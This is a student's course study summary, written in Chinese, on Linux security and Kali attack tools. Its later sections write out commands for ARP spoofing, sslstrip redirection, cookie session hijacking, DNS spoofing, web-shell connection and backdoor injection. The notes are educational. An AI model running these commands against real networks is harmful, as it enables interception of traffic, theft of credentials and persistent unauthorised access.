2017-2018-2 20179216 《网络攻防与实践》 第八周总结
課本內容總結
一、Linux操作系統基本框架概述
Linux操作系統發展與現狀
在統一內核代碼庫的基礎上,Linux開源社區根據不同用戶群體的需求,也發展出數量眾多的操作系統發行版,流行的包括Ubuntu、Debian、Fedora、CentOS、RHEL、OpenSUSE和Slackware等。Linux操作系統之所以會成為目前最受關注的系統之一,主要原因是它的開放源代碼與免費。Linux的優勢
(1)跨平臺的硬件支持(Linux操作系統的內核大部分是用C語言編寫的,并采用了可移植的UNIX標準應用程序接口)
(2)豐富的軟件支持
(3)多用戶多任務(多個用戶可以在同一時間以網絡聯機的方式使用計算機系統)
(4)可靠的安全性(利用Linux自帶防火墻、入侵檢測和安全認證等工具,及時修補系統的漏洞,就能大大提高Linux系統的安全性)
(5)良好的穩定性(Linux內核源代碼是以標準規范的32位(在64位CPU上是64位)的計算機來做的最佳化設計,可確保其系統的穩定性)
(6)完善的網絡功能。Linux系統結構
(1)Linux進程與線程管理機制
(2)Linux內存管理機制
(3)Linux文件系統管理機制
(4)Linux設備控制機制
(5)Linux網絡機制
(6)Linux系統調用機制
二、Linux操作系統安全機制
Linux操作系統的核心安全機制包括:身份認證、授權與訪問控制、安全審計
Linux身份認證機制
(1)Linux用戶
(2)Linux用戶組
(3)Linux本地登錄用戶認證機制
(4)Linux遠程登錄用戶認證機制
(5)Linux的統一身份認證中間件-PAMLinux授權與訪問控制機制
(1)文件所有者
(2)文件的訪問權限
(3)文件的特殊執行權限
(4)Linux訪問控制機制的不足與改進安全審計機制
三、Linux系統遠程攻防技術
- 遠程網絡上入侵Linux系統的主要方法
Linux遠程口令字猜測攻擊
(1)Brutus:號稱最快最靈活的遠程口令猜測破解工具
(2)THC Hydra:非常快速的網絡身份認正口令猜測破解工具
(3)Cain and Abel:“黑界神兵”,對Linux下的SSH和各類網絡應用服務的遠程口令猜測也具有非常好的支持。Linux網絡服務遠程滲透攻擊
(1)Linux網絡服務的遠程滲透攻擊
(2)Linux內核中的網絡協議棧實現
(3)LAMP Web網站構建解決方案中的網絡服務
(4)FTP、Samba等文件共享服務
(5)電子郵件收發服務
(6)其他網絡服務
(7)針對網絡服務遠程滲透攻擊的安全方案措施- 攻擊Linux客戶端程序和用戶
- 攻擊Linux路由器和監聽器
Metasploit
- 針對網絡服務遠程滲透攻擊的安全防范措施
(1)禁用所有不必要的網絡服務
(2)盡量選擇更安全的網絡協議與服務軟件,并使用最佳安全實踐進行部署
(3)及時更新網絡服務版本
(4)使用xinetd、防火墻為Linux網絡服務添加網絡訪問控制機制
(5)建立入侵檢測與應急響應計劃流程
四、Linux系統本地安全攻防技術
Linux本地權限提升
(1)Linux用戶口令字破解
(2)利用sudo的缺陷進行特權提升
(3)利用用戶態SUID程序漏洞進行特權提升
(4)針對SUID程序的本地緩沖區溢出攻擊
(5)針對SUID程序的符號鏈接攻擊
(6)針對SUID程序的競爭條件攻擊
(7)針對SUID程序的共享函數庫攻擊
(8)利用內核空間代碼漏洞進行特權提升
(9)利用系統配置不當實施本地特權提升- Linux系統上的消蹤滅跡
系統遠程控制后門程序
kali視頻(31-35)學習
Kali漏洞利用之SET
Social Enginnering Toolkit(SET)是一個開源、Python驅動的社會工程學滲透測試工具,提供了非常豐富的攻擊向量庫。是開源的社會工程學套件,通常結合metasploit來使用。
輸入:setoolkit,打開SET套件
菜單選項:
1是社會工程學攻擊
2是Fast-Track滲透測試
3是第三方模塊- 輸入1,按回車,有11個模塊。
選擇1:魚叉式釣魚攻擊
相應的payload可以選擇不同的漏洞。
選擇2:網站攻擊框架。如果對方訪問此頁面,若系統存在漏洞觸發條件,則會被植入后門。如Java Applet Attack 方法就需要目標有Java運行環境。為了仿真,可以選擇自建模版或克隆一個網站。
可以復制一個網站,借助內網的嗅探欺騙把域名劫持過過來
選擇3:介質感染攻擊
選擇4:創建Payload和監聽器,與Metasploit給出的Payload類似
選擇5:短信欺騙攻擊,偽造短消息發送給別人,偽裝短信來源
KaliSecurity - 嗅探欺騙與中間人攻擊
Linux下的中間人攻擊套路是一樣的,這里介紹進行ARP欺騙、DNS欺騙和嗅探以及會話劫持的方法。
1. 為Kali設置開啟端口轉發
echo 1 > /proc/sys/net/ipv4/ip_forward cat /proc/sys/net/ipv4/ip_forward 修改為1
2. 設置ssltrip
為了劫持SSL數據,需要https數據變為http: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081 讓sslrtip在8081端口監聽: sslstrip -l 8081
將iptables這一行,注釋(“#”號)去掉,打開轉發。
3. ettercap的準備
ettercap是一套用于中間人攻擊的工具。和dsniff套件齊名。支持插件和過濾腳本,直接將賬號、密碼顯示出來,不用人工提取數據。如果是第一次中間人攻擊操作,那么要對kali下的etteracp做點配置。 配置文件是/etc/ettercap/etter.conf,首先要將ec_uid、ec_gid都變為0
打開圖形化界面 ettercap -G 選擇嗅探網卡 默認eth0
4. Ettercap使用
打開ettercap,選擇sniff選項-unified sniffing-選擇網卡-hosts選項,先scan for hosts,等掃描完了選host list。
5. Dsniff套裝介紹
Dsniff套裝主要是arpspoof和dsniff,前者用來進行arp欺騙,后者用于嗅探。進行攻擊步驟如下: 進行arp欺騙: arpspoof [-i interface(網卡)] [-c own|host|both(欺騙方式,通常是both)] [-t target(目標)] [-r] host(網關) 進行嗅探: dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression] -c打開半雙工TCP流,允許在使用arpspoof時進行正確的嗅探操作; -d啟動調試模式; -f以/etc/service格式從文件中加載觸發器(也就是口令嗅探的服務類型); -I使用特定的網絡接口; -m使用dsniff.magic文件通過在magic文件中定義的特征嘗試自動判斷協議; -n不執行主機查找; -r從前面保存的會話中讀取被嗅探的數據; -s最多對報文的前個字節進行嗅探,如果用戶名和口令信息包含在隨后的默認1024字節界限中; -t使用格式port/proto=servise;來加載一個以逗號界定的觸發器集;
6. 會話劫持
這里主要以cookies進行舉例,說明會話劫持的用法。 開始arp欺騙; arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102 捕獲數據報: tcpdump -i wlan -w test.cap 等一段時間,估計目標會登錄網站了,我們開始處理捕獲的數據包: forret -r test.cap 如果捕獲的數據包沒什么問題,而且確定開啟了端口轉發,那么經過處理的數據包會自動生成hamster.txt 接下來運行hamster hamster 會提示瀏覽器設置代理為http://127.0.0.1:1234 接著在瀏覽器中代開hamster: http://hamster 選擇目標和可能的登錄認證地址,然后點擊鏈接會發現劫持成功。
7. 圖片截獲
利用Driftnet這款工具我們可以看到受害人在訪問網站的圖片。 首先依然使用arpspoof啟動arp欺騙,然后啟動driftnet: driftent -i 此時彈出一個小窗口,當目標訪問有圖片的網站的時候,攻擊者就能在這個小窗口看到。
8. DNS欺騙
利用Dsniff套裝中的dnsspoof或者ettercap的dnsspoof插件,我們可以完成對受害者的dns欺騙。 在開始欺騙前,首先我們要編輯一個自己的hosts文件,放在方便訪問的地方。內容和本機自帶的hosts內容差不多,只是把你想欺騙的域名和想要欺騙到哪里的地址寫好(通常是攻擊者指定的服務器,用來執行瀏覽器溢出或者java applet攻擊,用來獲取受害者的計算機訪問權限) host文件: 127.0.0.1 www.baidu.com 上面是一個hosts文件示例,把百度定向到了本機。我們把它保存成hosts,位于/root目錄下。 然后啟動dnsspoof: dnsspoof -i wlan0 -f /root/hosts 等受害者訪問百度觀察效果。
9. URL監控
利用Dsniff套裝中的urlsnarf工具,我們對TCP80、3128、8080端口的HTTP通信進行解析,并且可以將嗅探到的所有HTTP請求轉存為通用日志格式(Common Log Format,CLF),這種格式是許多Web服務器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具來分析記錄結果。 Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]] 10、下載軟件監控 利用Dsniff套裝中的filesnarf工具,我們可以從嗅探到的NFS通信中,選定某個文件,轉存到本地當前工作目錄。 Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
KaliSecurity - 權限維持之后門
權限維持包含Tunnel工具集、Web后門、系統后門三個子類。其中系統后門與Web后門統稱為后門,都是為滲透測試后,為方便再次進入系統而留下的惡意程序。
1. Weevely
是一款使用pythoon編寫的webshell工具(集webshell生成和連接于一身,僅限于安全學習教學之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php),某些模塊在win上無法使用。
** 2. WeBaCoo(Web Backdoor Cookie)**
script-kit是一個小巧的、隱蔽的php后門,它提供了一個可以連接遠程web服務器并執行php代碼的終端。WebaCoo使用HTTP響應頭傳送命令結果,shell命令經base64編碼后隱藏在Cookie中。
webacoo連接: webacoo -t -u http://192.168.75.132/2.php 通過加入:執行本地命令,不加則借助webshell執行命令。
** 3. Cymothoa系統后門**
cymothoa -run 10500 -s -0 -y 2333 (注入2333端口),如果成功,可以連接2333端口返回一個shell
4. Intersect
列出可以使用的模塊
創建腳本
執行后門,在目標機上執行 1.py -b,則生成一個bind shell后門,如果之前設置好remote host和remote port,也可以設置為reverse shell 此時連接后門端口成功,返回shell
Kali權限維持之Tunnel
權限維持包括Tunnel工具集、web后門、系統后門三個子類。Tunnel工具集包含了一系列用于建立通信隧道、代理的工具:
- CryptCat Netcat大家都很熟悉了,有網絡工具中的瑞士軍刀之稱,但是它本身建立的隧道是不加密的,于是有了cryptcat。與dbd/sbd使用也類似。
- DNS2TCP DNS tunnel即DNS通道。從名字上看就是利用DNS查詢過程建立起隧道,傳輸數據。 在酒店等公共場所,通常有wifi信號,但當訪問第一個網站時,可能會彈出窗口,需要輸入用戶名密碼,登陸后才可以繼續上網(該技術一般為透明http代理)。但有時會發現獲取到的dns地址是有效的,并且可以進行dns查詢,這時可以使用DNS tunnel技術來實現免費上網。 DNS tunnel原理 通過特定服務器,讓局域網內的DNS服務器為我們實現數據轉發。DNS tunnel實現的工具有很多,比如:OzymanDNS, tcp-over-dns, heyoks, iodine, dns2tcp
- Iodine
- Miredo Miredo是一個網絡工具,主要用于BSD和Linux的IPV6 Teredo隧道轉換,可以轉換不支持IPV6的網絡連接IPV6,內核中需要有IPV6和TUN隧道支持。
- Proxychains 內網滲透測試經常會用到一款工具,如我們使用Meterpreter開設一個Socks4a代理服務,通過修改/etc/prosychains.conf配置文件,加入代理,即可使其他工具如sqlmap、namp直接使用代理掃描內網。 如proxychain namp 10.0.0.1/24
- Proxytunnel Proxytunnel可以通過標準的Https代理來連接遠程服務器,這是一個代理,實現了橋接的功能。特別用于通過SSH進行Http(s)傳輸 Prosytunnel可用于: 使用http(s)代理(http connect 命令)創建通訊通道 為OpwnSSH寫一個客戶端驅動,并創建基于SSH連接的http(s)代理 作為一個獨立的應用,可以連接到遠程服務器
- Ptunnel 借助ICMP數據包建立隧道通信
- Pwant 內網下通過UDP通信
- sslh 一個ssl/ssh端口復用工具,sslh可以在同一個端口上接受https,ssh和openvpn連接。這使得通過443端口連接ssh服務器或者openvpn服務器同時在該端口上提供https服務成為可能。sslh可以作為一個研究端口復用的例子。
Kali逆向工程工具
逆向工程是根據已有的東西和結果,通過分析來推導具體的實現方法。比如看到別人的某個exe程序能夠做出某種漂亮的動畫效果,可以通過反匯編、反編譯和動態跟蹤等方法,分析出其動畫效果的實現過程,這種行為就是逆向工程;不僅僅是反編譯,而且還要推倒出設計,并且文檔化,逆向軟件工程的目的是使軟件得以維護。
1. Edb-Debugger EDB(Evan's Debugger)
是一個基于Qt4開發的二進制調試工具,主要是為了跟OllyDbg工具看齊,通過插件體系可以進行功能的擴充,當前只支持Linux。
2. Ollydbg
經典的Ring3級調試器,是一個動態調試工具,將IDA與SoftICE結合起來的思想。在Kali下是Wine方式運行的Ollydbg。
3、jad
4、Redare2
5、Recstudio2
6、Apktool
7、Clang、Clang++
8、D2j-des2jar
9、Flasm
轉載于:https://www.cnblogs.com/jmjm/p/8921715.html
總結
以上是生活随笔為你收集整理的2017-2018-2 20179216 《网络攻防与实践》 第八周总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 9GAG客户端,五一3天尽心之作,Jus
- 下一篇: 定时任务调度及优化